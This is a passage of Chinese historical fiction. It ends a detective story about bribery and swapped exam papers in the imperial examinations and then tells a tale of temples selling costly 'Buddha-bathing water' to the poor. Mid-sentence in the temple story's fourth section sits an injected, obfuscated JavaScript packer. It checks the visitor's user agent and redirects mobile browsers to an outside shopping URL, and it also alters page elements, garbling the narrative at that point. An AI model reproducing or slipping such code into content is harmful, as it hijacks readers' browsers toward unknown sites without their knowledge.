少的哪份?他蹲身细看,见满地卷中,唯缺“玄”字号的卷子——按“天地玄黄”分号,玄字号该存第九十至一百二十名考生的墨卷。 “查入库细目。” 册后附有细目。傅青衫手指划过,停在“玄字七十八号”处: “考生傅孟明,顺天大兴县人,治《春秋》。墨卷入玄字七十八号柜。” “傅孟明…”他蹙眉。这名字耳熟,是今科顺天府解元,文章以峭拔闻名。可解元的卷子,怎会放在九十名后的“玄”字号? “调傅孟明墨卷的硃卷批阅记录。” 很快,誊录房送来硃卷存档。傅青衫翻开傅孟明那本,见首页浮票(评分票)上,朱笔画了三个圈——这是“荐卷”标记,表考官认为此卷可中。但细看,那第三个圈的墨色,比前两个浅淡些。 “有人添圈。”傅青衫以指甲轻刮,第三圈墨粉脱落,露出底下原有的“×”号。这本是被“黜落”的卷子! “再看同考官批语。” 批语在卷末:“文气峻急,有犯上之嫌。黜。” 可如今卷子却在“荐卷”中,那这“黜”字… 傅青衫取来西洋放大镜,就窗光细看。“黜”字的最后一竖,笔锋与前面不连,且墨色略深——是被人添了一竖,将原字改成了“黜”?不,是改成了“点”! “黜”字去“出”留“黑”,再加一竖,便成“黩”——“黩”是污浊意,可勉强解为“文有微瑕”。这一改,黜落变黜存,命运天壤。 “好巧的手。”傅青衫冷笑,“但这傅孟明既被同考官黜落,又如何成了解元?” 他急调今科乡试录取全榜。果然,傅孟明名在榜首。但怪的是,榜上第二名、第三名的批语,皆与傅卷雷同,都夸“文气峭拔”,都提“微瑕不掩瑜”。 “这三份卷子…”他猛然醒悟,“是‘三重卷’!” 科场舞弊有“三重卷”之法:将三份才学相当的卷子,故意批出相近评语,一同录取。如此,纵有人疑榜首不公,但见二、三名水平相近,便难指摘。这是极高明的掩护手段。 “傅孟明这解元,是买来的。”傅青衫合卷,“可沈砚秋为何要查墨卷?又为何被杀?” 他目光落回那柄烙铁。甲字烙痕…是标记? 二、 棘院暗市 顺天府有处地方叫“棘院墙”——不是贡院墙,是贡院西墙外那条窄巷。每逢大比,这里便成暗市。卖“关节”的、贩“范文”的、做“枪替”的,皆隐在茶馆、当铺、裱画店里。 傅青衫扮作落魄举子,踱进巷口“听雨轩”茶馆。掌柜是个独眼,见客来,也不迎,只朝后堂努努嘴。 后堂坐着个山羊须老者,正摆弄个鲁班锁。见傅青衫,他眼皮不抬:“客要什么货?” “求个前程。” 老者抬眼,独目精光一闪:“前程有价。乡试三百两,会试八百,殿试…那是天价。” “今科顺天解元,作价几何?” 老者笑了,露出满口黄牙:“傅孟明那小子?他可不只三百两。他爹傅半城,为这解元,花了这个数——”他比出三根手指。 “三千两?” “是三万两。”老者压低声音,“但这钱,不是给考官的,是给‘保人’的。” “哪位保人?” “棘院里有位‘扫地僧’,专在誊录房走动。卷子糊名前,他能看见姓名;糊名后,他能调换硃卷顺序;放榜前,他还能…”老者做了个撕封条的手势。 傅青衫心念电转。誊录房、调卷、撕封条——这不正是沈砚秋死前在做的事? “这扫地僧,是司吏沈砚秋?” 老者脸色骤变,霍然起身:“客从何处听来这名?” “从地字十二号库,一具尸体口中。” 老者转身欲逃,傅青衫已亮出腰牌。几个乔装差役破门而入,将其按住。搜身,从老者怀中摸出本小册,封面无字,内页却记满交易: “崇文十七年正月十五,收傅半城银三万两,保其子孟明解元。经办:沈砚秋,分润五千。” “二月廿二,收李百万银两万,保其子入百名内。经办:沈砚秋,分润三千。” “三月初一,收…” 密密麻麻,涉及今科二十七名考生,贿银总计十八万两。 “沈砚秋昨夜死了。”傅青衫盯着老者,“是你灭口?” “不不不!”老者涕泪横流,“小老儿只是中间人!真正收钱的,是…是上面的人!” “何人?” 老者以指蘸茶,在桌上写了个“誊”字。 誊录官?不对。誊录官只负责抄卷,无权调卷。除非… “是‘对读官’!”傅青衫恍然。 对读官专校硃卷与墨卷是否一致。若他在对读时,将优卷换成劣卷,劣卷换成优卷,神不知鬼不觉。而沈砚秋作为司吏,掌管墨卷库存,正是调卷的关键一环。 “你对读官是谁?” “是…是今科同考官,周慕贤。”老者颤声道,“他也是傅孟明的座师!” 三、 周府夜宴 周慕贤府邸在城东金鱼胡同。傅青衫夜访时,周府正开宴,丝竹之声透墙而出。 门房通报后,周慕贤亲迎出门。此人五十许,圆脸团面,笑容可掬:“傅推官大驾,有失远迎。恰逢小宴,可否赏光同饮?” 宴设花厅,席间七八人,皆着便服,但傅青衫一眼认出——有今科副主考、有顺天府治中、还有两位翰林编修。正中主位空着,似在等贵客。 “推官此来,是为沈司吏的案子吧?”周慕贤敬酒,“唉,沈司吏勤勉半生,竟遭此祸,可叹。” “周大人与沈司吏相熟?” “同在棘院办差,自然相识。”周慕贤叹道,“不过沈司吏近来…似有心事。前日还寻我,说在墨卷中见着怪事。” “何事?” “他说,有份墨卷的笔迹,与硃卷对不上。”周慕贤压低声音,“您知,这是大忌。若真如此,便是有人调换了硃卷。” 傅青衫心中冷笑。这老狐狸,倒会先发制人。 “那卷子,可是傅孟明的?” 周慕贤笑容一滞:“推官何出此言?” “下官查了,傅孟明的墨卷被黜落,硃卷却被录取。这其间,若无对读官配合,如何能成?”傅青衫直视他,“周大人正是今科对读官之一。” 满座皆静。丝竹声不知何时停了。 周慕贤放下酒杯,笑容渐冷:“傅推官,科场之事,水深得很。您今日来,是办案,还是…寻仇?” “下官只寻真相。” “真相?”周慕贤轻笑,“真相是,傅孟明确有才学,同考官看走眼,本官对读时发现,特予拔擢。这有何不可?” “那三万两银子呢?” 厅中死寂。突然,屏风后传来掌声。 一人踱出,着紫袍,佩玉带,面如冠玉——竟是当朝吏部右侍郎,崔文璟! “傅推官好手段。”崔文璟微笑,“不过,你可知傅孟明是谁家子弟?” 傅青衫不答。 “他祖父傅廷鹤,是已故太子太傅。他父亲傅半城,捐三十万两修黄河堤。”崔文璟落座主位,“这样的忠良之后,纵有些小瑕,不该给个前程么?” “科场大法,岂是‘小瑕’?” “法?”崔文璟举杯,“法为谁设?为寒门?为豪族?傅推官,你办过多少案子,真信‘王子犯法与庶民同罪’?” 他起身,踱至傅青衫面前:“今日本官在此,不妨明说:傅孟明这解元,是本官保的。周大人,是本官请托的。那三万两,是本官让傅半城捐作河工银的。一切合规合矩,你有何证据说舞弊?” “墨卷硃卷笔迹不同,便是铁证。” “笔迹?”崔文璟大笑,“誊录官笔误,偶有差异,何足为奇?纵是真不同——你怎知不是沈砚秋调包构陷?他临死握个‘甲’字烙铁,不就是想污本官‘甲等’舞弊?” 傅青衫心中一震。原来“甲”字烙印,是指“甲等”! “沈砚秋勒索傅半城,索要五千两封口费。傅半城不允,他便调包墨卷,欲毁傅孟明前程。”崔文璟叹道,“本官已查实,正要拿他,他却死了…傅推官,你说巧不巧?” 颠倒黑白,反客为主。傅青衫盯着他:“那沈砚秋,是谁杀的?” “自然是…分赃不均的同伙。”崔文璟拍拍手。 侧门押进一人,五花大绑,正是“听雨轩”那独眼中间人!他满面血污,嘶声道:“是…是沈砚秋让小人杀的!他说事成后分小人一千两,可事后只给三百,小人气不过,就…” “一派胡言!”傅青衫怒道。 “胡言?”崔文璟取出口供,“这是他画押的供词。凶器、赃银,皆在沈砚秋家中搜出。人证物证俱在,傅推官还有何疑?” 傅青衫握紧拳。他明白了,这是个局。从他进“听雨轩”,就入了局。独眼老者本就是弃子,专等他来咬饵。 “此案已结。”崔文璟挥手,“沈砚秋勒索不成,调包墨卷,被同伙所杀。傅孟明才学实至名归。至于周大人…不过失察,罚俸半年便是。” 他举杯:“傅推官辛苦了,本官敬你。” 傅青衫不动。 “不喝?”崔文璟笑容转冷,“那本官再告诉你一事:今科三百六十名举人,有二十七人涉贿。若彻查,这二十七人落马事小,可他们背后,是二十七家豪族,牵动半朝人心。陛下正要推行新政,此时科场大乱,新政还推不推?” 他凑近,耳语般道:“有时候,清名是毒药,会毒死更多人。傅推官,你是要一个‘公道’,还是要大明朝的安稳?” 傅青衫闭上眼。厅中烛火跳动,映得众人面目模糊。 良久,他睁眼,端起酒杯。 一饮而尽。 四、 寒门尸谏 三日后,放榜。傅孟明高居解元,二十七名贿考生皆在榜上。顺天府衙贴出告示:沈砚秋案结,凶犯已伏法。 当夜,傅青衫独坐值房,对着一盏孤灯。门忽然被推开,书吏慌张闯入:“大人!贡院…贡院门口…” “何事?” “有个老秀才,在贡院门口…剜心了!” 傅青衫疾驰至贡院。门前已围满人,中间青石地上,仰卧一老者,年约六旬,布衣褴褛,胸前血肉模糊。右手握把生锈匕首,左手攥着卷纸。 纸是血书: “老朽江陵秀才陈望,十试不第。今科文章自信可中,然榜上无名。暗访乃知,吾卷被换与豪族子。科场至此,寒门绝路。愿以此心,证天道未死,人心未绝。后来者鉴之。” 血书旁,还有本小册。傅青衫拾起,是陈望的“行卷”——即考生考前呈给考官的文章合集。首页有行朱批: “文有古风,可入前十。惜家世寒微,恐难大用。黜。” 批语日期:崇文十七年三月十二。批者花押:周慕贤。 正是沈砚秋死的那日。 “他…他剜心前,高喊了三声。”旁边卖炊饼的老汉抹泪,“一声‘天道不公’,二声‘科举已死’,三声…三声‘我在黄泉,等诸公’!” 傅青衫握册的手,指节发白。他翻开行卷,见首篇《刑赏论》,开篇即如雷霆: “刑赏者,国之权衡也。权移于豪右,则寒门无途;衡倾于金银,则英才埋没。今科场如市,文章标价,圣贤书尽作生意经。长此以往,国无真才,朝无正人,天下必乱…” 文采斐然,字字泣血。 “搜他住处。” 陈望租住在城南鸡毛胡同,一间漏雨土屋。除满架破书,唯有一箱。箱开,众人倒吸凉气——里面整整齐齐,码着三十七本行卷。每本首页,皆批“可取”,但最终都未中。 最早那本,是三十五年前的。 “三十五年,十次落第…”书吏声音发颤。 傅青衫翻开最早那本。首页有行娟秀小字,似是陈望妻子所题: “君有凌云志,妾捣卖嫁衣。愿得青衫日,同看彩云归。” 可直到最后,他也没穿上那件青衫。 箱底有封信,是陈望绝笔: “…傅推官明鉴:老朽自知此举迂腐。然科场黑幕,非鲜血不能照见。沈司吏曾密告,今科贿生二十七人,名单在此。老朽无能揭穿,唯以此心,为后来者开一线天光。若大人尚存正气,请将名单公之于众。老朽于九泉,叩首。” 名单附后。二十七人,与独眼老者所记,一模一样。 傅青衫将名单揣入怀中。走出土屋时,东方既白。贡院门口的血迹已被冲刷干净,唯有石缝里,还渗着暗红。 远处传来报喜锣声,是新科举人游街。傅孟明骑白马,披红绸,春 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一瘸腿老吏上殿,跪呈账册:“草民赵三,掌硃卷出入账。今科有三十七份硃卷,在誊录后、对读前,被人调换。调换记录在此,经手人…是周慕贤大人。” 周慕贤扑通跪倒:“陛下,臣冤枉!” “冤?”傅青衫取出陈望行卷,“这‘可入前十’的批语,可是你写?既认可其才,为何黜落?可是因他家无三千两贿银?” “还有——”他又取出一卷,“这是傅孟明乡试墨卷原稿。陛下请看,这字迹歪斜,文理不通,与其中解的硃卷,天壤之别!这硃卷,是请‘枪手’代笔的!” 龙案震动。天子年少,但聪慧,细看两卷,脸色渐青:“崔卿,周卿,可有解释?” 崔文璟忽然长笑:“陛下!臣有本奏!”他自袖中取出奏折,“傅青衫所谓证据,皆是伪造!他因与傅半城有旧怨,构陷其子。那陈望,实是傅青衫雇来演戏的疯丐!” “你…你颠倒黑白!” “颠倒?”崔文璟击掌。殿外押进一人,竟是陈望的邻居,一个赌棍。他磕头如捣蒜:“陛下明鉴!那陈望是疯的,常说中了状元要娶公主。他剜心前,傅大人给过他十两银子…” “你!”傅青衫浑身发抖。 “还有——”崔文璟又亮出张当票,“傅青衫昨日典当祖传玉佩,得银五百两,已送去傅半城府上,说是‘赔罪银’。这难道不是做贼心虚?” 满朝窃窃私语。少年天子看着傅青衫,眼中闪过一丝失望。 “傅卿,你还有何话说?” 傅青衫跪地,缓缓除下乌纱:“臣无能,不能为寒门伸冤,不能为国家除蠹。唯有一腔血,可证清白。” 他猛地站起,朝殿柱撞去! “拦住他!”天子急呼。 侍卫拦住。傅青衫额角已破,血流披面。他惨笑:“陛下,臣今日撞死在此,明日史书会记:崇文十七年,有推官傅青衫,血谏科场舞弊。后世人会问:他为何死?那二十七人名单,为何不公开?那十八万两赃银,去了何处?” 他转身,怒视崔文璟:“崔大人,你可敢与臣赌命?臣愿受三司会审,若有一句虚言,甘受千刀万剐!你可敢?” 崔文璟不答。 “不敢么?”傅青衫大笑,笑出泪来,“因为你知,只要彻查,你逃不掉!周慕贤逃不掉!那二十七家豪族,都逃不掉!” 他跪向天子:“陛下,今日不惩,明日科场尽成市集;今日不革,十年后朝堂皆是无才小人。寒门绝路,则天下英才尽归山野,届时谁为陛下守江山?谁为百姓谋生计?” 少年天子动容。他起身,缓步下阶,扶起傅青衫:“傅卿,朕…信你。” “陛下!” “但,”天子转身,看向崔文璟,“崔卿乃两朝老臣,周卿亦是有功之人。此案…不宜扩大。” 傅青衫心沉。 “傅孟明革去功名,永不叙用。周慕贤革职,发配边关。二十七名贿考生,削籍为民。”天子顿了顿,“至于崔卿…罚俸三年,闭门思过。” “陛下圣明!”众臣山呼。 崔文璟深深跪拜,无人见他嘴角一闪而过的冷笑。 傅青衫闭目。他知道,输了。二十七家豪族根基未动,十八万两赃银下落未明,那二十七名真才实学的寒门子弟,依然落第。 而他,因“诬告大臣”,贬为云南某县县丞,三日后启程。 尾声荆棘犹在 离京那日,春雨潇潇。傅青衫一车一仆,出朝阳门。忽闻身后马蹄疾响,数十骑追来。 是今科落第的寒门举子们。他们冒雨相送,无人打伞,皆跪于泥中: “傅公高义,我等替天下寒士,叩谢!” 傅青衫下车,一一扶起。其中一青年,双手奉上册子:“此乃我等联名所写《革科场弊政疏》,请公携往云南,若有机会,代呈天听。” 傅青衫郑重接过。册子扉页,是陈望《刑赏论》中的句子: “荆棘满途,吾且开路;豺狼当道,吾且先驱。但留一口气,不教公道绝。” 他长揖及地,登车而去。 三年后,云南边县。傅青衫正在衙斋批文,忽闻京中来报:崔文璟升任吏部尚书,周慕贤遇赦还京。今科会试,贿考者增至四十一人。 是夜,傅青衫独立院中,见北斗阑干。他忽然想起陈望剜心那夜,贡院门前石缝里的血。 雨冲得掉血迹,冲得掉记忆。 可有些东西,是冲不掉的。 比如那二十七人名单,他早已抄录百份,散于天下书院。比如陈望的行卷,已有书商暗中刊印,流传江湖。 又比如,他怀中那份《革科场弊政疏》,明日将随商队,送往岭南、江南、西北… 春草年年绿,棘刺岁岁生。 但只要还有人记得,有人在暗夜里,以心头血,点燃过一盏灯—— 这路,就还没断。 本章鉴世 一、 硃卷调包之诈 - 利用誊录、对读程序漏洞,偷换优劣考卷 - 破解法:凡见“文风突变”,必核墨卷;凡遇“破格录取”,必查调卷记录 - 示例:傅孟明墨卷与硃卷笔迹、文理迥异 二、 弃子顶罪之局 - 以中间人、司吏为替罪羊,真凶隐身幕后 - 破解法:凡见“迅速结案”,必思谁在捂盖;凡遇“人证暴毙”,必是灭口 - 示例:独眼老者顶罪、沈砚秋被杀、陈望被污疯癫 三、 寒门尸谏之鉴 - 陈望以死揭黑幕,反被诬“疯丐演戏” - 惕世:弱势者维权,常被“污名化”;血泪证据,易被“证据链”反制 - 反思:当制度腐败至深,个体反抗何以可能? 科举诫: 棘院本是抡才地,今作金银交易所。 硃卷能调笔,墨字可滴血。 寒门三十五年泪,不抵豪族一席宴。 莫道剥皮能见骨,天下棘刺已连根。 后世叹: 铁门铜环血痕深,棘院春闱夜夜阴。 墨卷调包移日月,硃笔添圈易浮沉。 十试不第老秀才,一腔可热孤臣心。 莫问公道在何处,云南瘴雨听雷音。 正是: 崇文十七棘闱深,墨字啼血铁门阴。 硃卷调包移甲第,银票易手换功名。 寒士剜心证天道,孤臣撞柱竭丹忱。 谁言雨打血迹淡,春草年年绿到今。 16. 浴佛水谳 楔子金箔浴佛 建武十四年四月八,洛阳城南大相国寺的浴佛会,热闹得连树上的知了都嫌聒噪。 山门外支起三丈高的彩棚,供着一尊檀木释迦太子像。佛像本不稀奇,奇的是——这像从头到脚贴满了金箔,在日头下晃得人眼晕。像前摆着个鎏金铜盆,盆边立木牌,朱漆大字: “浴佛一瓢,福寿双全;浴佛三瓢,功德无量;浴佛九瓢,往生极乐。” 瓢是特制的,瓢柄镶银,瓢身刻“功德无量”四字。一瓢水,要价一百文。 一、 善财难舍 辰时三刻,寺门一开,香客如潮。为首的是个绸缎商,姓钱,肥头大耳,带着三个小妾、八个伙计,抬着口樟木箱。箱子打开,白花花的银子,整整五百两。 “方丈!”钱商人作揖,“这是小人为佛爷镀金身的香油钱!” 知客僧了空,四十许,面如满月,笑得眼缝不见:“阿弥陀佛,钱施主功德无量。请——先浴佛。” 钱商人接过银瓢,手抖得厉害——不是虔诚,是心疼那一百文。他舀了半瓢“浴佛水”,水是糖水掺了香料,甜腻腻的,往佛像肩头一淋。 “多些!多些!”了空在旁鼓动,“佛爷欢喜,保佑施主生意兴隆!” 一咬牙,又舀两瓢。三百文没了。 后面排着长队。有老妪掏出压箱底的铜钱,颤巍巍浴一瓢,嘴里念着“保佑我儿平安”;有书生当掉佩剑,换得三瓢,求“今科高中”;更有个瘸腿乞丐,捧着讨来的三十文,想浴半瓢,被知客僧一脚踢开:“去去去!佛爷不渡穷鬼!” 乞丐哭道:“师父,我也求个平安…” “平安?”了空嗤笑,“佛爷的金身还没贴完呢,你三十文,够买片金箔角么?” 正闹着,忽听有人朗声道:“这浴佛会,倒是生意兴隆。” 声如金玉,清亮悦耳。众人回头,见一青衫文士,三十左右,面容清癯,负手立于人群外,正是洛阳府新任法曹参军——顾清臣。 了空脸色微变,忙堆笑:“顾参军也来随喜?” 顾清臣不答,踱至佛像前,细看那金箔:“这金箔贴得厚,怕有三斤?” “三斤八两。”了空得意,“都是信众的功德。” “功德?”顾清臣拈起瓢,舀了半瓢水,却不浴佛,递给了那乞丐,“老丈,你先浴。” 乞丐不敢接。了空急道:“参军!这不合规矩!” “规矩?”顾清臣抬眼,“佛说众生平等,怎的浴佛还有贫富贵贱之分?” “这…这是信众自愿…” “自愿?”顾清臣环视众香客,“诸位真是自愿?还是怕不浴佛,佛不保佑?” 众人低头。钱商人嘟囔:“心诚则灵嘛…” “好个心诚则灵。”顾清臣放下瓢,“那本官问你,你捐五百两,是诚在佛,还是诚在‘佛能让你发财’?” 钱商人语塞。 顾清臣转身,对众香客道:“今日浴佛,原为纪念佛陀诞辰,以香汤灌沐太子像,表涤尘除垢、明心见性之意。何时成了买卖?一瓢水一百文,这卖的是水,还是各位的恐惧?” 了空强笑:“参军言重了,这都是…都是为贴金身。佛有金身,方显庄严…” “庄严在像,还是在心?”顾清臣打断,“若贴金身便是庄严,那洛阳城外的流民,衣不蔽体,食不果腹,可就不庄严了?佛见了,是先渡他们,还是先给自己贴金?” 人从中,有人窃窃私语。 “再说了,”顾清臣走近铜盆,以指蘸水,尝了尝,“糖水掺香,成本不过十文一桶。卖一百文一瓢,这生意,比贩盐还赚。” 了空额头冒汗。顾清臣却笑了:“不过今日佛诞,本官不扫兴。这浴佛会,照办。只是——” 他自袖中取出一吊钱,正好一百文,扔进功德箱:“这一瓢,本官浴了。但浴的不是这贴金佛,是寺外那尊。” 他捧瓢出寺。众人好奇,跟出山门。寺外墙根下,倒着个老乞丐,浑身脓疮,气若游丝。 顾清臣蹲身,以瓢舀水,轻轻淋在老丐额上:“今日佛诞,我浴你。愿你脱这苦身,往生善处。” 老丐睁眼,混浊的眼珠动了动,竟淌下泪来。 了空脸色铁青。顾清臣起身,将瓢掷回铜盆:“好了,本官浴完了。各位继续。” 他拂袖而去。留下满场香客,面面相觑。那钱商人忽然抱起钱箱:“这佛…不浴了!退钱!” “对!退钱!” 场面大乱。 二、 高僧辩财 次日,顾清臣被请到大相国寺方丈院。方丈慧明,七十高龄,白眉垂肩,确有高僧气象。二人对坐禅房,窗外竹影婆娑。 “顾参军昨日一番话,震动洛阳。”慧明斟茶,“老衲想请教,依参军之见,佛门该如何?” “该做佛门该做之事。”顾清臣道,“施粥、义诊、助学、抚孤。而非卖水贴金。” 慧明苦笑:“参军可知,本寺有僧三百,日耗粮米十石。寺宇年久失修,去年大雨,藏经阁漏湿经卷三十七部。这些,都要钱。” “所以要卖浴佛水?” “非也。”慧明正色,“浴佛所得,三成修寺,三成养僧,四成…赈济贫苦。寺外每月施粥三日,参军可曾见?” “见过。”顾清臣点头,“但本官也见过,贵寺知客僧踹开求浴佛的乞丐。若真为赈济,何不将卖水的银钱,直接施与穷人?何必绕个弯,让人先买虚妄,再得实惠?” “这…”慧明长叹,“众生愚钝,不先给个想头,谁肯布施?” “所以大师也知,浴佛是‘想头’。”顾清臣直视他,“既是想头,便是骗局。骗局开头,哪怕结局是善,也是恶因。” 禅房静默。唯闻茶沸声。 良久,慧明道:“参军可知‘金刚怒目’?” “知。” “那参军昨日在寺前,是菩萨低眉,还是金刚怒目?” 顾清臣笑:“本官是俗人,不懂佛。只知看见不公,该说;看见骗局,该揭。至于眉目——该怒时怒,该低时低。” “好个该怒时怒。”慧明从袖中取出一本册子,“这是本寺三年浴佛收支账册。参军可愿一观?” 顾清臣接过。账记得清楚:浴佛收入,每年约五千贯。支出:修寺一千五百贯,僧粮一千五百贯,赈济两千贯。数字工整,毫无破绽。 “账是明的。”慧明道,“可人心是暗的。老衲今年七十,掌管此寺三十年。见过真为浴佛来的,见过为求福来的,也见过…为敛财来的。” 他抬眼,目光如电:“参军可知,洛阳七十二寺,有多少寺的浴佛会,是某些人的钱袋子?” 顾清臣不语。 “浴佛水一百文一瓢,贵么?贵。可有人愿意买,因为买的是心安。这心安是假,可假心安,也是心安。”慧明缓缓道,“就像有人生病,明知符水无用,可喝了,觉得好些——你能说这‘好些’是假的么?” “但病根未除。” “是,病根未除。”慧明点头,“可这病根,不在寺里,在世人心里。世人贪、嗔、痴,想用钱买平安、买福报、买来世。佛门不过…给了个买卖的地方。” “所以大师觉得,这买卖合理?” “不合理,但不得不为。”慧明合十,“若关了这买卖,世人去哪里买心安?若没了这想头,多少人在苦海里,连根浮木都抓不到?” 顾清臣起身,踱至窗前。窗外,几个小沙弥正在扫地,一脸稚气。 “大师,你看这些孩子。”他轻声道,“他们入寺,是为学佛,还是学卖水?” 慧明一震。 “若他们从小见到的佛门,是卖水贴金、是踹开乞丐、是满口功德实则生意——他们心中的佛,会是怎样的佛?”顾清臣转身,“今日他们卖水,明日会不会卖佛?后日,佛还值多少钱?” 禅房死寂。慧明手中佛珠,啪地断了线,檀木珠子滚了一地。 三、 伽蓝秤 三日后,顾清臣微服私访,走了洛阳十座寺庙。所见大同小异:浴佛会成了庙会,卖水的、卖符的、卖“开光”法器的,甚至还有卖“佛前供果”——说是供过佛的果子,吃了消灾,一颗五十文。 最奇的是城南小相国寺,竟推出“分级浴佛”: 铜盆浴佛,一百文,保平安; 银盆浴佛,五百文,保富贵; 金盆浴佛,一千文,保子孙。 顾清臣蹲在寺外茶摊,听茶客议论: “听说了么?昨儿个陈寡妇把嫁妆当了,换了一次金盆浴佛,求她儿子中举。” “中了吗?” “中个屁!她儿子连《三字经》都背不全。” “那金盆…” “方丈说,是她心不诚。得再浴一次。” 顾清臣摇头,正要走,忽见寺里出来个老僧,扛着根扁担,两头挑着水桶,往城外去。他悄然跟上。 老僧出城,到洛水边,汲了两桶清水,不往回走,反折向城西贫民窟。那里窝棚遍地,污水横流。老僧放下桶,喊:“领浴佛水了——不要钱!” 窝棚里涌出老弱妇孺,拿着破碗陶罐。老僧一瓢瓢分水,动作轻柔。有个病妇咳得厉害,老僧从怀中掏出个小纸包,里面是几粒丸药:“这是寺里制的止咳丸,你且服下。” 顾清臣走近:“老师父是?” 老僧抬头,满脸皱纹如沟壑:“贫僧慧静,小相国寺杂役僧。” “这水…” “是浴佛水。”慧静道,“不过是贫僧自己挑的清水。寺里卖糖水,贫僧无能阻拦,只能…另备些干净的,给这些浴不起佛的人。” 顾清臣心中一动:“寺里方丈可知?” “知。”慧静苦笑,“方丈说,我这是拆台。可佛诞浴佛,本为慈悲。这些穷人连饭都吃不上,哪有钱浴佛?若因无钱,便被佛抛弃,这佛…不拜也罢。” 他分完水,挑空桶往回走。顾清臣并肩而行:“老师父在寺中多年?” “四十年了。”慧静道,“年轻时见过真修行的,也见过真骗钱的。如今…骗钱的成了方丈,真修行的,成了杂役。” “为何不走?” “走?”慧静摇头,“走了,这些穷人连这碗清水都没了。我在一日,便挑一日水。我若死了…”他顿了顿,“但愿有人接着挑。” 顾清臣默然。行至寺外,慧静忽然道:“参军今日来,是为查浴佛会吧?” “你认得我?” “那日在相国寺外,贫僧在人群中。”慧静合十,“参军那瓢水,浴的是真佛心。只是…” “只是什么?” “只是这世道,真佛心太少,假佛事太多。”慧静望向寺门,那里香火缭绕,功德箱反射着刺眼的金光,“佛本教人舍,而今都在求;佛本教人慈,而今都在利。这满寺金身,其实是…称。” “称?” “称人心的秤。”慧静缓缓道,“一头是贪,一头是惧。香客拿钱压贪,寺里拿佛压惧。这秤平衡了,买卖就成了。至于佛在不在…谁在乎呢?” 他挑桶入寺,背影佝偻,像棵枯树。 顾清臣独立良久,忽见寺墙贴了张新告示: “本寺新铸金佛一尊,高丈二,需金五百两。现募捐,捐十两者,刻名于佛座;捐百两者,刻名于佛背;捐千两者…佛前长明灯,永供芳名。” 底下有行小字,墨迹犹新: “□□人,缘在功德深。” 四、 佛前灯价 四月十五,浴佛会最后一日。顾清臣请了洛阳城里三位人物,到大相国寺“喝茶”。 第一位是钱商人。他捐了五百两,名字刻在佛座最显眼处,字有拳头大。 第二位是陈寡妇。她当尽家产,换得“金盆浴佛”三次,儿子仍未中举,如今在寺里做杂役,抵“亏欠”的功德。 第三位是城南米铺赵掌柜。他没捐钱,但“捐”了三百石米——是陈米,掺了沙,原要倒掉的。寺里收下,转手以“供养米”名义,卖给香客,一斗百文。 三人惴惴不安。顾清臣不置一词,只领他们到藏经阁后一间破屋。屋里坐着慧静,正补僧衣。 “三位,”顾清臣道,“这位慧静师父,在寺中挑了四十年水。你等的名字刻在佛座,可知道他的名字刻在何处?” 三人摇头。 “在城外三千流民心里。”顾清臣自怀中取出本册子,“这是慧静师父四十年行善账册——非金银账,是人命账。救过饥民四百二十七人,赠药一千三百剂,挑水…挑秃了九根扁担。” 他翻开册子,念道:“永平三年腊月,赠乞儿阿毛破袄一件,阿毛活过冬。永平七年中秋,分瘫妇刘氏半块饼,刘氏多活三日。建武十年大水,背出被困老幼十一人…” 念了十例,停住。钱商人面红耳赤,陈寡妇低头啜泣,赵掌柜冷汗直流。 “三位,”顾清臣合上册子,“你们觉得,谁的功德大?是刻名佛座的钱,是金盆浴佛的诚,还是…这四十年挑水的扁担?” 无人能答。 “本官今日请三位来,非为问罪。”顾清臣道,“是想让三位看看,这寺里,佛在何处。是在前殿金身上,还是在后屋破衣上?是在功德箱里,还是在扁担上?” 他起身,推开窗。窗外是寺后菜园,几个老僧正在施肥,粪勺起落,臭气熏天。 “佛说众生平等。”顾清臣道,“可这寺里,前殿的佛闻香火,后园的佛闻粪臭。哪个是真佛?” 他转身,目光如刀:“三位回去细想。若真想积功德——是往功德箱里扔钱容易,还是明日早起,挑担水去贫民窟,分给没水吃的人容易?” 三人狼狈离去。慧静叹道:“参军何苦为难他们?他们也是…求个心安。” “心安?”顾清臣冷笑,“若他们的心安,是建在三千流民的苦难上,这心安,该不该破?” “破了之后呢?” “破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088168|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,或许有人能看见真的苦,生出真的慈。”顾清臣望向窗外,“若看不见,至少…本官试过了。” 慧静合十,良久道:“参军像一个人。” “谁?” “佛经里说的‘维摩诘’。”慧静微笑,“示现居士身,说佛法,破执见。只是…” “只是什么?” “维摩诘说法,天花乱坠。参军说法,”慧静顿了顿,“像在刮骨疗毒。痛。” 顾清臣笑了,第一次笑得有些疲惫:“痛,才好。痛了,才知道肉还活着,心还热着。若连痛都觉不出了,这佛门,这世道,就真没救了。” 窗外,暮钟响起,沉沉地,像一声叹息。 五、 金身尘土 浴佛会散了。各寺盘点收入,大相国寺得钱六千贯,小相国寺得钱八千贯,其余各寺三五千不等。方丈们喜气洋洋,计划着给佛再贴层金,给殿再加片瓦。 唯大相国寺出了桩“怪事”:慧明方丈一夜白头,三日后,将方丈之位传予首座,自己闭关不出。传言说,他在禅房墙上,写了四句: “金身原是土, 佛在心头坐。 若将秤称佛, 称碎是娑婆。” 顾清臣听说,只笑了笑,在卷宗上批了八个字: “浴佛水流,洗净铅华。” 五月,洛阳府颁新令:“各寺浴佛会,不得以金银定价;不得驱赶贫者;所得钱粮,需公示用途。违者,罚没所得,僧还俗。” 令出,各寺哗然。有僧联名上书,说“断佛门生计”。顾清臣将联名状当众焚毁,只说一句: “佛要什么生计?要生计的,是和尚。” 又三日,顾清臣路过小相国寺,见山门外新立一碑,碑文是慧静所题: “浴佛一瓢水,原是洛河清。 莫问价高低,但看济何人。 金身纵万丈,不暖饥寒身。 佛在施水处,不在贴金人。” 碑前,摆着个大木桶,桶边挂一瓢,瓢柄刻“随意”。桶是满的,清水映着天光。 有乞丐来,舀一瓢,咕咚喝下,抹嘴道:“甜!” 旁有香客问:“这水…多少钱?” 守桶的小沙弥合十:“师父说,洛河水,佛的,不要钱。” 